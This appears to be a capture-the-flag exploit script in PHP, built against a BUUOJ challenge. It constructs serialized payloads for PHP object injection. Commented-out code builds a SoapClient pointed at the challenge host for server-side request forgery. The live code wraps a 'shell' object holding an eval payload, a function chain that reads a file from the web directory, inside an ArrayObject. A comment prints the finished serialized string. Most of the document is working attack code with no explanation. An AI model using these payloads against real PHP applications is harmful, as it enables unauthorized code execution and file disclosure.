<?php

//class siroha
//{
//    public $koi = array("zhanjiangdiyishenqing" => "phpinfo");
//}
//
//$b = new SoapClient(null, array(
//
//    'location' => 'http://88df8853-f6ec-4752-b0f0-f63a829438df.node4.buuoj.cn:81/siranai.php'));
//$a = new siroha();
//$a->koi["zhanjiangdiyishenqing"] = $b;
//print_r($a);
//echo serialize($a);
//$a="echo aaa;";
//eval($a);
 class shell
{
    public $exp = "var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));__halt_compiler();";
}
 $a = new ArrayObject;
$a -> a = new shell;
echo serialize($a);
#C:11:"ArrayObject":156:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:5:"shell":1:{s:3:"exp";s:93:"var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));__halt_compiler();";}}}

